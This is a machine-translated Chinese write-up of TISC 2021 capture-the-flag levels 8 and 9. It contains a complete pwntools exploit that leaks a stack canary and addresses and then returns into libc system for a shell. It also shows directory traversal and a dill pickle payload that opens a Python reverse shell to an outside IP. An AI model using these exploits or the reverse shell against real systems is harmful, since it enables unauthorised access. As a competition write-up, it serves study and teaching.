这看起来像是一个功能强大的随时随地写入的小工具!然而,剥削并不容易。我运行checksec并确认所有可能的内存保护都已打开,因此排除了简单的返回指针覆盖漏洞。

pwndbg> checksec
[*] '/home/kali/Desktop/tisc/8_get_shwifty/1adb53a4b156cef3bf91c933d2255ef30720c34f'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

我仔细研究了健全性测试伪代码,以找出另一种利用这种覆盖的方法。

void *v0; // rsp
void *v1; // rsp
void *v2; // rsp
int v4; // [rsp+14h] [rbp-24h] BYREF
void *s; // [rsp+18h] [rbp-20h]
void *src; // [rsp+20h] [rbp-18h]
void *dest; // [rsp+28h] [rbp-10h]
unsigned __int64 v8; // [rsp+30h] [rbp-8h]

v8 = __readfsqword(0x28u);
++dword_5580E5357280;
v4 = 32;
v0 = alloca(48LL);
s = (void *)(16 * (((unsigned __int64)&v4 + 3) >> 4));
v1 = alloca(48LL);
src = s;
v2 = alloca(48LL);
dest = s;
memset(s, 0, v4);
memset(src, 0, v4);
memset(dest, 0, v4);
std::operator>><char,std::char_traits<char>>(&std::cin, src);
memcpy(dest, src, v4);
memcpy(s, dest, v4 / 2);
sanity_test_input = malloc(v4 - 1);
memcpy(sanity_test_input, s, v4 - 1);
sanity_test_result = *((_BYTE *)s + v4 - 1);
return 0LL;

allocamemcpy电话都是以精确的顺序运行。我在第一个设置断点memcpy并再次触发溢出以分析堆栈。重复几次后,我弄清楚溢出是如何工作的。在memcpy断点处,堆栈如下所示:

00: 0x00000000  0x00000000  0x00000000  0x00000000 < *1st memcpy dst / *2nd memcpy src
10: 0x00000000  0x00000000  0x00000000  0x00000000
20: 0x00000000  0x00000000  0xaf79a963  0x00007fab
30: 0x41414141  0x41414141  0x41414141  0x41414141 < *1st memcpy src / start of user-controlled input
40: 0x41414141  0x41414141  0x41414141  0x41414141
50: 0x41414141  0x41414141  0x41414141  0x41414141
60: 0x41414141  0x41414141  0x41414141  0x41414141 < *2nd memcpy dst
70: 0x41414141  0x41414141  0x41414141  0x41414141
80: 0x41414141  0x41414141  0x41414141  0x41414141
90: 0x41414141  0x41414141  0x41414141  0x00000030 < 12 bytes | 1st memcpy n / 2nd memcpy n * 2 / 3rd memcpy n + 1
a0: 0x5d7d2b60  0x00007ffc  0x5d7d2b30  0x00007ffc < 2nd memcpy dst / 3rd memcpy src | 1st memcpy src
b0: 0x5d7d2b00  0x00007ffc  0x48531900  0xa14ea5c4 < 1st memcpy dst / 2nd memcpy src | stack canary 
c0: 0x5d7d2bf0  0x00007ffc  0x86bfeea2  0x0000563e < 8 bytes | return pointer
d0: 0x86c00010  0x0000563e  0x86bfd540  0x0001013e
e0: 0x86c01956  0x0000563e  0x48531900  0xa14ea5c4

如果我覆盖每个字节直到返回指针,我也会覆盖触发错误的堆栈金丝雀。但是,还记得“Get Recruited”函数的输入是如何与 异或的sanity_test_input吗?由于我memcpy通过覆盖控制了三个s 的每个参数,我可以尝试将堆栈金丝雀复制到sanity_test_input使用第三个中memcpy,然后通过“显示当前用于 Cromulon 的内容”函数检索 XOR 金丝雀。

最初,我计划覆盖直到第一个memcpy n参数的字节,并设置n为足够大的数字来复制堆栈金丝雀字节。然而,由于第二个memcpy用于n / 2size 参数,以确保金丝雀在第二个中被复制memcpyn需要大到第一个memcpy已经覆盖堆栈金丝雀。更糟糕的是,我还意识到复制的字节必须是空字节,因为该xor_passphrase_with_sanity_input函数只对附加的字符串进行异或运算,直到sanity_test_input. 我突然意识到我必须穿一根非常细的针。这个挑战是通过外科手术设计的。

(我后来了解到,这实际上是我解决这个挑战的最困难的方法;有一个更简单的堆栈设置以及一个堆利用路线,但显然我想承受更多。)

为了正确地从堆栈中泄漏数据,我需要以这样一种方式覆盖字节,即第 3 个memcpy将堆栈字节复制到sanity_test_input其中既可以通过健全性测试又可以在以后进行异或。我测试了覆盖字节的各种排列,pwntools用来加速我的工作。为了快速调试程序,我写了一个 Bash one-liner:gdb ./1adb53a4b156cef3bf91c933d2255ef30720c34f $(ps aux | grep ./1adb53a4b156cef3bf91c933d2255ef30720c34f | grep -v grep | cut -d ' ' -f9). 这将挂接到由我的pwntools脚本创建的正在运行的实例上。

在几个小时内煞费苦心地尝试数百种不同的输入后,我最终想出了一个可以得到我想要的结果的覆盖。通过制定我的精确补偿有效载荷,我可以操纵前两个memcpyS,从而使我在第三改写的最后一个字节memcpysrc参数在堆栈上。幸运的是,被覆盖的字节会导致src指向返回地址或任何其他所需的值,例如金丝雀。我需要运气,因为每次执行二进制文件时堆栈地址都会改变。因此,我不得不强制执行正确的偏移量。

通过逐步完成每个 可能更容易解释这一点memcpy,所以让我们直接进入它。

我像这样准备了我的有效载荷:

payload = b'B' * 60                                 # offset
payload += b'\x11\x00\x00\x00'                      # third memcpy n; vary this until sanity test passes
payload += packing.p8(return_pointer_offset)        # candidate offset to return pointer on stack
payload += b'B' * 43                                # more offset
payload += b'\x82'                                  # first memcpy n / second memcpy n * 2
p.sendline(payload)

有了这个有效载荷,第一个之前的堆栈memcpy看起来像这样:

75d0: 0x00000000  0x00000000  0x00000000  0x00000000 < *1st memcpy dst / *2nd memcpy src
75e0: 0x00000000  0x00000000  0x00000000  0x00000000 
75f0: 0x00000000  0x00000000  0x656c2963  0x00007fca < 8 null bytes | libc_write+19
7600: 0x41414141  0x41414141  0x41414141  0x41414141 < *1st memcpy src / start of user-controlled input
7610: 0x41414141  0x41414141  0x41414141  0x41414141 
7620: 0x41414141  0x41414141  0x41414141  0x41414141
7630: 0x41414141  0x41414141  0x41414141  0x00000011 < *2nd memcpy dst
7640: 0x424242XX  0x41414141  0x41414141  0x41414141 < candidate XX offset
7650: 0x41414141  0x41414141  0x41414141  0x41414141
7660: 0x41414141  0x41414141  0x41414141  0x00000082 < 12 filler bytes | 1st memcpy n / 2nd memcpy n * 2 / 3rd memcpy n + 1
7670: 0xb5617630  0x00007ffc  0xb5617600  0x00007ffc < 2nd memcpy dst / 3rd memcpy src | 1st memcpy src
7680: 0xb56175d0  0x00007ffc  0xd1686300  0x697ee648 < 1st memcpy dst / 2nd memcpy src | stack canary 
7690: 0xb56176c0  0x00007ffc  0x2b782ea2  0x00005597 < stack pointer | return pointer
76a0: 0x2b784010  0x00005597  0x2b781540  0x00010197 < _libc_csu_init | unknown bytes
76b0: 0x2b785956  0x00005597  0xd1686300  0x697ee648 < aShowMeWhatYouG | unknown bytes
76c0: 0x2b784010  0x00005597  0x655fbe4a  0x00007fca < _libc_csu_init | __libc_start_main+234

由于接收用户输入的溢出,我n将堆栈上的值覆盖为\x82. 这导致第一个memcpy将我的原始输入和堆栈上的其他字节复制到*1st memcpy dst. 第一个之后memcpy和第二个之前的堆栈memcpy现在看起来像这样:

75d0: 0x41414141  0x41414141  0x41414141  0x41414141 < *2nd memcpy src
75e0: 0x41414141  0x41414141  0x41414141  0x41414141 
75f0: 0x41414141  0x41414141  0x41414141  0x41414141
7600: 0x41414141  0x41414141  0x41414141  0x00000011
7610: 0x424242XX  0x41414141  0x41414141  0x41414141 < candidate XX offset
7620: 0x41414141  0x41414141  0x41414141  0x41414141
7630: 0x41414141  0x41414141  0x41414141  0x00000082 < *2nd memcpy dst
7640: 0xb5617630  0x00007ffc  0xb5617600  0x00007ffc 
7650: 0x424275d0  0x41414141  0x41414141  0x41414141
7660: 0x41414141  0x41414141  0x41414141  0x00000082 < 12 filler bytes | 2nd memcpy n * 2 / 3rd memcpy n + 1
7670: 0xb5617630  0x00007ffc  0xb5617600  0x00007ffc < 2nd memcpy dst / 3rd memcpy src | 1st memcpy src
7680: 0xb56175d0  0x00007ffc  0xd1686300  0x697ee648 < 2nd memcpy src | stack canary 
7690: 0xb56176c0  0x00007ffc  0x2b782ea2  0x00005597 < stack pointer | return pointer
76a0: 0x2b784010  0x00005597  0x2b781540  0x00010197 < _libc_csu_init | unknown bytes
76b0: 0x2b785956  0x00005597  0xd1686300  0x697ee648 < aShowMeWhatYouG | unknown bytes
76c0: 0x2b784010  0x00005597  0x655fbe4a  0x00007fca < _libc_csu_init | __libc_start_main+234

没什么特别的。然而,神奇的事情就在接下来发生了memcpy。第二个之后memcpy和第三个之前的堆栈memcpy看起来像这样:

75d0: 0x41414141  0x41414141  0x41414141  0x41414141
75e0: 0x41414141  0x41414141  0x41414141  0x41414141 
75f0: 0x41414141  0x41414141  0x41414141  0x41414141
7600: 0x41414141  0x41414141  0x41414141  0x00000011
7610: 0x424242XX  0x41414141  0x41414141  0x41414141
7620: 0x41414141  0x41414141  0x41414141  0x41414141
7630: 0x41414141  0x41414141  0x41414141  0x41414141
7640: 0x41414141  0x41414141  0x41414141  0x41414141 
7650: 0x41414141  0x41414141  0x41414141  0x41414141
7660: 0x41414141  0x41414141  0x41414141  0x00000011 < 12 filler bytes | 3rd memcpy n + 1
7670: 0xb56176XX  0x00007ffc  0xb5617600  0x00007ffc < 3rd memcpy src | 1st memcpy src
7680: 0xb56175d0  0x00007ffc  0xd1686300  0x697ee648 < 2nd memcpy src | stack canary 
7690: 0xb56176c0  0x00007ffc  0x2b782ea2  0x00005597 < stack pointer | return pointer
76a0: 0x2b784010  0x00005597  0x2b781540  0x00010197 < _libc_csu_init | unknown bytes
76b0: 0x2b785956  0x00005597  0xd1686300  0x697ee648 < aShowMeWhatYouG | unknown bytes
76c0: 0x2b784010  0x00005597  0x655fbe4a  0x00007fca < _libc_csu_init | __libc_start_main+234

我重写了两个重要的值:

  1. 所述n用于产生第三memcpysize参数(n-1)到0x11
  2. 第3的最后一个字节memcpysrc参数传递给我的候选人字节偏移0xXX

当我的蛮力设置候选字节0x98,第三memcpysrc指了指返回指针(堆栈地址0x7ffcb5617698),让我返回指针地址复制到sanity_test_input。通过健全性测试的覆盖n也设置sanity_test_result*0x7ffcb56176a8 = 0x40。在那之后,我可以简单地输入长串0x111111111111111111在“GET招募”的提示,其中的异或存储sanity_test_input。然后我可以运行“Show what you have for the Cromulon current”来输出结果并1111111111111111再次与它异或以检索返回指针值。

如果候选偏移正确检索到返回指针,则检索到的第一个字节将是返回指针的最后一个字节。这似乎总是匹配0xa2,所以我使用这个常量来检查一个成功的候选人。有可能不存在有效的候选人;如果返回指针是 at0x7ffcb5617708但第 3 个memcpy src值最初设置为0x7ffcb56176X8,我只能将最后一个字节强行到0x7ffcb56176f8. 在这种情况下,我只需要再次运行漏洞利用并希望幸运。

0x3EA2从返回指针值中减去一个固定的偏移量 ( ) 以获得可执行文件的基地址。此外,既然我知道堆栈中返回指针的偏移量,我可以相应地添加或减去它以检索堆栈上的其他有趣值,例如__libc_start_main+234堆栈金丝雀和有效堆栈指针。

使用这些值,我可以使用适当的堆栈金丝雀发送一个大输入,并覆盖指向我想要的函数指针的返回指针,例如systemin libc。我memcpy通过将srcdest参数覆盖到泄漏的有效堆栈地址并将size参数设置为诸如 1 之类的小值来避免使三个s崩溃。

起初,我试图返回到打印flag的二进制文件中的一个有趣的函数:

__int64 read_flag()
{
  char v1; // [rsp+Fh] [rbp-231h] BYREF
  char v2[264]; // [rsp+10h] [rbp-230h] BYREF
  _QWORD v3[37]; // [rsp+118h] [rbp-128h] BYREF

  v3[34] = __readfsqword(0x28u);
  std::fstream::basic_fstream(v2);
  std::fstream::open(v2, "/root/f1988cec5de9eaa97ab11740e10b1fc8d6db8123", 8LL);
  if ( (unsigned __int8)std::ios::operator!(v3) )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "No such file\n");
  }
  else
  {
    while ( 1 )
    {
      std::operator>><char,std::char_traits<char>>(v2, &v1);
      if ( (unsigned __int8)std::ios::eof(v3) )
        break;
      std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)v1);
    }
    std::operator<<<std::char_traits<char>>(&std::cout, "\n");
  }
  std::fstream::close(v2);
  std::fstream::~fstream(v2);
  return 0LL;
}

然而,尽管漏洞利用在本地工作,我无法让它远程工作。我认为这是因为可执行文件崩溃得太快而无法通过网络返回输出。因此,我决定走这ret2libc条路并通过添加system到调用堆栈来获得一个 shell 。由于libc不同版本的偏移量差异很大,我使用了之前的文件泄露漏洞来泄漏/proc/self/maps/etc/os-release确定确切的操作系统和libc版本,即“Ubuntu 20.04.3 LTS(Focal Fossa)”和libc-2.31.so分别。由于谷歌搜索服务器的 IP 地址显示它属于 DigitalOcean Singapore 集群,我在同一集群上使用匹配的操作系统版本启动了一个免费的 Droplet 实例来检索偏移量。结果证明这是一个隐藏的奖励,因为我的 Droplet 实例与目标服务器的接近度允许我的漏洞在程序崩溃之前更快地捕获 shell。

最后,我需要在调用之前将指向/bin/shin的指针弹出libc到 RDI 中system。这是因为 x64 调用约定使用 RDI 作为函数调用的第一个参数。我曾经rp++从二进制文件中转储 ROP 小工具,并将POP RDI, RET小工具添加到覆盖的调用堆栈中。

终于,我完成了我的完整漏洞利用代码:

from pwn import *

p = remote('<IP ADDRESS>', 53619)
##p = process('./1adb53a4b156cef3bf91c933d2255ef30720c34f')

def byte_xor(ba1, ba2):
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

## leak base_addr of executable
return_pointer_offset = 8
while True:
    # send payload
    p.recvuntil("> ")
    p.sendline(b'1')
    payload = b'B' * 60                                 # offset
    payload += b'\x11\x00\x00\x00'                      # third memcpy n; vary this until sanity test passes
    payload += packing.p8(return_pointer_offset)        # candidate offset to return pointer on stack
    payload += b'B' * 43                                # more offset
    payload += b'\x82'                                  # first memcpy n / second memcpy n * 2
    p.sendline(payload)

    # retrieve sanity_test_input
    p.recvuntil("> ")
    p.sendline(b'2')
    if b'To get recruited, you need to provide the correct passphrase for the Cromulon.' in p.recvline():
        p.sendline(b'1111111111111111')
        p.recvuntil("> ")
        p.sendline(b'4')
        p.recvuntil("`======/")
        p.recvline()
        candidate = p.recvline()
        print(candidate.hex())
        if 0x93 == candidate[0]:                        # confirm that this is a leaked function address; last byte is 0xa2 == 0x93 XOR 0x31
            base_addr = (int.from_bytes(byte_xor(candidate[:6][::-1], b'111111'), 'big', signed=False) - 0x3EA2).to_bytes(8, byteorder='big', signed=False)
            log.info('Base address: {}'.format(base_addr.hex()))
            p.recvuntil("> ")
            p.sendline(b'6')
            break
        p.recvuntil("> ")
        p.sendline(b'6')
    return_pointer_offset += 16

libc_start_main_plus_234_offset = return_pointer_offset + 0x30        # offset in stack from function pointer to __libc_start_main+234
canary_offset = return_pointer_offset - 0x10 + 1                      # offset in stack from function pointer to canary + 1 (skip null token)
stack_address_offset = return_pointer_offset - 0x18                   # offset in stack from function pointer to canary + 1 (skip null token)

if stack_address_offset < 0 or libc_start_main_plus_234_offset > 255:
    log.error("Base offset is too low")

## leak canary
p.recvuntil("> ")
p.sendline(b'1')
payload = b'B' * 60 # offset
payload += b'\x11\x00\x00\x00' # ensures that sanity_test_result passes
payload += packing.p8(canary_offset)
payload += b'B' * 43
payload += b'\x82'
p.sendline(payload)

p.recvuntil("> ")
p.sendline(b'2')
if b'To get recruited, you need to provide the correct passphrase for the Cromulon.' in p.recvline():
    p.sendline(b'1111111111111111')
    p.recvuntil("> ")
    p.sendline(b'4')
    p.recvuntil("`======/")
    p.recvline()
    candidate = p.recvline()
    canary = byte_xor(candidate[:7][::-1], b'1111111') + b'\x00'    # restore null last byte

    log.info("Canary: {}".format(canary.hex()))
    p.recvuntil("> ")
    p.sendline(b'6')

## leak libc_main_plus_234
p.recvuntil("> ")
p.sendline(b'1')
payload = b'B' * 60 # offset
payload += b'\x11\x00\x00\x00' # ensures that sanity_test_result == B which passes test4 #21 for local
payload += packing.p8(libc_start_main_plus_234_offset)
payload += b'B' * 43
payload += b'\x82'
p.sendline(payload)

p.recvuntil("> ")
p.sendline(b'2')
if b'To get recruited, you need to provide the correct passphrase for the Cromulon.' in p.recvline():
    p.sendline(b'1111111111111111')
    p.recvuntil("> ")
    p.sendline(b'4')
    p.recvuntil("`======/")
    p.recvline()
    candidate = p.recvline()
    libc_main_plus_234 = b'\x00\x00' + byte_xor(candidate[:6][::-1], b'111111')
    log.info('libc_main_plus_234 address: {}'.format(libc_main_plus_234.hex()))
    p.recvuntil("> ")
    p.sendline(b'6')

## leak stack address
p.recvuntil("> ")
p.sendline(b'1')
payload = b'B' * 60 # offset
payload += b'\x19\x00\x00\x00' # ensures that sanity_test_result passes test4
payload += packing.p8(stack_address_offset)
payload += b'B' * 43
payload += b'\x82'
p.sendline(payload)

p.recvuntil("> ")
p.sendline(b'2')
if b'To get recruited, you need to provide the correct passphrase for the Cromulon.' in p.recvline():
    p.sendline(b'1111111111111111')
    p.recvuntil("> ")
    p.sendline(b'4')
    p.recvuntil("`======/")
    p.recvline()
    candidate = p.recvline()
    stack_address = b'\x00\x00' + byte_xor(candidate[:6][::-1], b'111111')
    log.info('Stack address: {}'.format(stack_address.hex()))
    p.recvuntil("> ")
    p.sendline(b'6')


## prepare addresses
flag_function_address = (int.from_bytes(base_addr, 'big', signed=False) + 0x3BBC).to_bytes(8, byteorder='big', signed=False)
log.info('Flag function address: {}'.format(flag_function_address.hex()))

get_recruited_address = (int.from_bytes(base_addr, 'big', signed=False) + 0x3606).to_bytes(8, byteorder='big', signed=False)
log.info('get_recruited function address: {}'.format(get_recruited_address.hex()))

pop_rdi_ret = (int.from_bytes(base_addr, 'big', signed=False) + 0x5073).to_bytes(8, byteorder='big', signed=False)
log.info('pop_rdi_ret address: {}'.format(pop_rdi_ret.hex()))

libc_base_addr = (int.from_bytes(libc_main_plus_234, 'big', signed=False) - 0x270B3).to_bytes(8, byteorder='big', signed=False)
log.info('libc_base_addr address: {}'.format(libc_base_addr.hex()))

libc_system_addr = (int.from_bytes(libc_base_addr, 'big', signed=False) + 0x55410).to_bytes(8, byteorder='big', signed=False)
log.info('libc_system_addr: {}'.format(libc_system_addr.hex()))

libc_bin_sh_addr = (int.from_bytes(libc_base_addr, 'big', signed=False) + 0x1B75AA).to_bytes(8, byteorder='big', signed=False)
log.info('libc_bin_sh_addr: {}'.format(libc_bin_sh_addr.hex()))
dec_ecx_ret = (int.from_bytes(base_addr, 'big', signed=False) + 0x2AE2).to_bytes(8, byteorder='big', signed=False)

## prepare final payload
p.recvuntil("> ")
p.sendline(b'1')
payload = b'B' * 108                    # offset
payload += b'\x01\x00\x00\x00'          # n
payload += stack_address[::-1]          # valid stack address
payload += stack_address[::-1]          # valid stack address
payload += stack_address[::-1]          # valid stack address
payload += canary[::-1]                 # valid canary
payload += b'A' * 8                     # offset            
payload += flag_function_address[::-1]  # try to call flag function - somehow this doesn't work remotely?
payload += pop_rdi_ret[::-1]            # ROP to pop pointer to "/bin/sh" to RDI
payload += libc_bin_sh_addr[::-1]       # pointer to "/bin/sh"
payload += libc_system_addr[::-1]       # pointer to system

## send final payload
print(p.recvline())
print(p.recv())
p.sendline(payload)

p.interactive()

我在我的 Droplet 实例上运行了几次,最终得到了我的shell。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀
TISC{30e903d64775c0120e5c244bfe8cbb0fd44a908b}

级别 9:1865 文本冒险

这是我最喜欢的关卡,感觉就像是一件数字艺术作品。我喜欢故事情节,虽然其中一个域是 Pwn,但正如您很快就会看到的那样,它实际上是 Web。最后,它涉及很多代码审查,我很喜欢。

它开始于翻滚…

第 1 部分:进入兔子洞

领域:Pwn、密码学

文字冒险是遥远过去的消失的幽灵,但这个看起来令人怀疑是全新的……而且它到处都是回文的迹象。

我们的分析师认为我们需要更多地了解白兔,但是当我们连接到游戏时,我们总是迷路!

你能帮我们找到留在兔子洞里的秘密吗?

游戏托管在 165.22.48.155:26181。

此挑战不需要内核漏洞利用。

连接到<IP ADDRESS>:26181开始了漫长的滚动文本冒险。

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我可以look绕过我的位置,move到另一个出口、read笔记或get物品。我开始枚举文本冒险中的每条路径。一路上,我捡到了几个有用的东西:

  1. The Pocket Watch:这让我可以访问一个选项菜单,我用它来关闭烦人的滚动文本。
  2. 镜子:这让我能够传送到故事中的其他位置。 teleport bottom-of-a-pit/deeper-into-the-burrow
  3. Golden Hookah:这让我能够在某处保存消息。blowsmoke <NAME> <MESSAGE>.

几经周折,文字冒险走到了尽头。

[cosmic-desert] move tear-in-the-rift
You have moved to a new location: 'tear-in-the-rift'.

You look around and see:
A curious light shines in the distance. You cannot quite reach it though.

Music tinkles through the rift:

    A very merry unbirthday
    To you
    Who, me?
    Yes, you
    Oh, me
    Let's all congratulate us with another cup of tea
    A very merry unbirthday to you

There are the following things here:
  * README (note)

[tear-in-the-rift] read README
You read the writing on the note:
Do you hear that? What lovely party sounds!

Wouldn't it be lovely to crash it and get some tea and crumpets?

Too bad you're stuck here!

You can cage a swallow, can't you, but you can't swallow a cage, can you?

Fly back to school now, little starling.

- PALINDROME

无处可去,我开始弄乱这些物品。当我使用 Golden Hookah 发送带有格式字符串的消息时,我的第一个线索浮出水面。

[tear-in-the-rift] blowsmoke spaceraccoon %s
Smoke bellows from the lips of spaceraccoon to form the words, "%s."
Curling and curling...
Traceback (most recent call last):
  File "/opt/wonderland/down-the-rabbithole/rabbithole.py", line 708, in run_game
    self.evaluate(user_line)
  File "/opt/wonderland/down-the-rabbithole/rabbithole.py", line 627, in evaluate
    cmd.run(args)
  File "/opt/wonderland/down-the-rabbithole/rabbithole.py", line 511, in run
    response = urlopen(url)
  File "/usr/lib/python3.8/urllib/request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/lib/python3.8/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.8/urllib/request.py", line 640, in http_response
    response = self.parent.error(
  File "/usr/lib/python3.8/urllib/request.py", line 569, in error
    return self._call_chain(*args)
  File "/usr/lib/python3.8/urllib/request.py", line 502, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.8/urllib/request.py", line 649, in http_error_default
    raise HTTPError(req.full_url, code, msg, hdrs, fp)
urllib.error.HTTPError: HTTP Error 400: Bad Request

Python 后端正试图用我的消息发送 HTTP 请求!然而,对遍历和命令注入有效载荷的进一步实验未能产生任何结果。我转到了 Thelooking Glass。我尝试了几个无效的输入,包括一个长字符串:

[cosmic-desert] teleport vast-emptiness/eternal-desolation/cosmic-desert/<A * 200>
Traceback (most recent call last):
  File "/opt/wonderland/down-the-rabbithole/rabbithole.py", line 708, in run_game
    self.evaluate(user_line)
  File "/opt/wonderland/down-the-rabbithole/rabbithole.py", line 627, in evaluate
    cmd.run(args)
  File "/opt/wonderland/down-the-rabbithole/rabbithole.py", line 475, in run
    if rel_path.exists() and rel_path.is_dir():
  File "/usr/lib/python3.8/pathlib.py", line 1407, in exists
    self.stat()
  File "/usr/lib/python3.8/pathlib.py", line 1198, in stat
    return self._accessor.stat(self)
OSError: [Errno 36] File name too long: '/opt/wonderland/down-the-rabbithole/stories/vast-emptiness/eternal-desolation/cosmic-desert/<A * 200>'

这看起来像一个目录遍历!也许传送意味着移动到服务器中的不同文件夹位置。我采取了下一个明显的步骤。

[tear-in-the-rift] teleport ../../../../etc
You have moved to a new location: 'etc'.

You look around and see:
Darkness fills your senses. Nothing can be discerned from your environment.
There are the following things here:
  * environment (note)
  * fstab (note)
  * networks (note)
  * mke2fs.conf (note)
  * ld.so.conf (note)
  * passwd (note)
  * shells (note)
  * debconf.conf (note)
  * ld.so.cache (note)
  * legal (note)
  * xattr.conf (note)
  * hostname (note)
  * e2scrub.conf (note)
  * issue (note)
  * bindresvport.blacklist (note)
...

答对了!现在我在不同的文件夹中,我可以使用read命令读取文件。在枚举了各个位置后,我最终找到了/home/rabbit包含第一个flag的位置。

[mouse] teleport ../../../../home/rabbit
You have moved to a new location: 'rabbit'.

You look around and see:
You enter the Rabbit's burrow and find it completely ransacked. Scrawled across the walls of the
tunnel is a message written in blood: 'Murder for a jar of red rum!'.

Your eyes are drawn to a twinkling letter and lockbox that shines at you from the dirt.

There are the following things here:
  * flag2.bin (note)
  * flag1 (note)

[rabbit] read flag1
You read the writing on the note:
TISC{r4bbb1t_kn3w_1_pr3f3r_p1}

TISC{r4bbb1t_kn3w_1_pr3f3r_p1}

Part 2:泪水池

看来兔子对回文太了解了。在他的秘密缓存中有一个特殊的设备,它可能会解锁追踪难以捉摸的骗子的线索。然而,我们试图阅读它产生了纯粹的胡言乱语。

它似乎需要……激活。要激活它,我们必须首先成为兔子。

请假设兔子的身份。

挑战描述暗示我需要获得一个工作外壳rabbit来执行flag2.bin. 我返回到/opt/wonderland/down-the-rabbithole包含文本冒险的 Python 源代码的文件夹。rabbithole.py包含大部分游戏逻辑。马上,我注意到它导入pickletools并使用 Python 对象反序列化 ( dill.loads) 来“获取”项目。

def run(self, args):
    if len(args) < 2:
        letterwise_print("You don't see that here.")
        return
    for i in self.game.get_items():
        if (args[1] + '.item') == i.name and args[1] not in self.game.inventory:
            got_something = True
            # Check that the item must be serialised with dill.
            item_data = open(i, 'rb').read()
            if not self.validate_stream(item_data):
                letterwise_print('Seems like that item may be an illusion.')
                return
            item = dill.loads(item_data)
            letterwise_print("You pick up '{}'.".format(item.key))
            self.game.inventory[item.key] = item
            item.prepare(self.game)
            item.on_get()
            return

由于 Python 对象反序列化是一个简单的代码执行向量,因此我将重点放在了这一线索上。我怎样才能在服务器上创建一个泡菜文件以供稍后“获取”?枚举更多文件夹,我意识到其中/opt/wonderland包含其他两个应用程序的源代码:

[..] teleport ../..
You have moved to a new location: '..'.

You look around and see:
Darkness fills your senses. Nothing can be discerned from your environment.
You see exits to the:
  * logs
  * pool-of-tears
  * a-mad-tea-party
  * down-the-rabbithole
  * utils

a-mad-tea-party结果是一个 Java 应用程序,同时pool-of-tears包含一个 Ruby on Rails Web API。在 中logs,我发现了一些我blowsmoke之前使用的发送的消息。这表明这blowsmoke使我能够编写文件——正是我所需要的。

为了准备我的泡菜,我参考generate_items.pydown-the-rabbithole. 应用程序通过检查验证项目rabbitholedill._dill以及on_get性能,所以我重用的代码,以满足一个重要的区别,这些要求-我的有效载荷生成脚本插入一个Python反向shellon_get

import dill
import types
from rabbithole import Item
import socket
import os
import pty
import urllib.parse

dill.settings['recurse'] = True

def write_object(location, obj):
    '''Writes an object to the specified location.
    '''
    with open(location, 'wb') as f:
        dill.dump(obj, f, recurse=True)

def make_item(key, on_get):
    '''Makes a new item dynamically.
    '''
    item = Item(key)
    item.on_get = types.MethodType(on_get, item)
    return item

def payload_on_get(self):
    '''Add the options command when picked up.
    '''
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("<IP ADDRESS>",4242))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    pty.spawn("/bin/sh")

def setup_payload():
    item = make_item('payload', payload_on_get)
    write_object('payload.item', item)

if __name__ == '__main__':
    setup_payload()
    # open_payload()
    with open('payload.item', 'rb') as file:
        print("Generated {}".format(urllib.parse.quote(file.read())))

生成 URL 编码的有效负载后,我将其发送出去blowsmoke a.item <URL-ENCODED PAYLOAD>。这将有效负载保存到/opt/wonderland/logs/tear-in-the-rift-a.item. 最后,在文字冒险游戏中,我传送到/opt/wonderland/logs并跑去get tear-in-the-rift-a.item执行payload。为了节省时间,我使用pwntools.


from pwn import *
import urllib

p = remote('<IP ADDRESS>', 26181)

print(p.recvuntil(b']'))
p.sendline(b'move a-shallow-deadend')
print(p.recvuntil(b']'))
p.sendline(b'get pocket-watch')
print(p.recvuntil(b']'))
p.sendline(b'options text_scroll False')
print(p.recvuntil(b']'))
p.sendline(b'back')
print(p.recvuntil(b']'))
p.sendline(b'move deeper-into-the-burrow')
print(p.recvuntil(b']'))
p.sendline(b'move a-curious-hall')
print(p.recvuntil(b']'))
p.sendline(b'get pink-bottle')
print(p.recvuntil(b']'))
p.sendline(b'move a-pink-door')
print(p.recvuntil(b']'))
p.sendline(b'move maze-entrance')
print(p.recvuntil(b']'))
p.sendline(b'move knotted-boughs')
print(p.recvuntil(b']'))
p.sendline(b'move dazzling-pines')
print(p.recvuntil(b']'))
p.sendline(b'move a-pause-in-the-trees')
print(p.recvuntil(b']'))
p.sendline(b'move confusing-knot')
print(p.recvuntil(b']'))
p.sendline(b'move green-clearing')
print(p.recvuntil(b']'))
p.sendline(b'move a-fancy-pavillion')
print(p.recvuntil(b']'))
p.sendline(b'get fluffy-cake')
print(p.recvuntil(b']'))
p.sendline(b'move along-the-rolling-waves')
print(p.recvuntil(b']'))
p.sendline(b'move a-sandy-shore')
print(p.recvuntil(b']'))
p.sendline(b'move a-mystical-cove')
print(p.recvuntil(b']'))
p.sendline(b'get looking-glass')
print(p.recvuntil(b']'))
p.sendline(b'back')
print(p.recvuntil(b']'))
p.sendline(b'move into-the-woods')
print(p.recvuntil(b']'))
p.sendline(b'move further-into-the-woods')
print(p.recvuntil(b']'))
p.sendline(b'move nearing-a-clearing')
print(p.recvuntil(b']'))
p.sendline(b'move clearing-of-flowers')
print(p.recvuntil(b']'))
p.sendline(b'get morning-glory')
print(p.recvuntil(b']'))
p.sendline(b'move under-a-giant-mushroom')
print(p.recvuntil(b']'))
p.sendline(b'get golden-hookah')
print(p.recvuntil(b']'))
p.sendline(b'move eternal-desolation')
print(p.recvuntil(b']'))
p.sendline(b'move cosmic-desert')
print(p.recvuntil(b']'))
p.sendline(b'move tear-in-the-rift')
print(p.recvuntil(b']'))


## read flag2.bin
## p.sendline(b'teleport ../../../../home/rabbit')
## print(p.recvuntil(b'[rabbit]'))
## p.sendline(b'read flag2.bin')
## flag2_bin = p.recvuntil(b']')
## with open('flag2.bin', 'wb') as file:
##     file.write(flag2_bin)

## send payload
with open('payload.item', 'rb') as file:
    p.sendline(b'blowsmoke a.item ' + urllib.parse.quote(file.read()).encode())
print(p.recvuntil(b']'))

## execute payload
p.sendline(b'teleport ../../../../opt/wonderland/logs')
print(p.recvuntil(b']'))
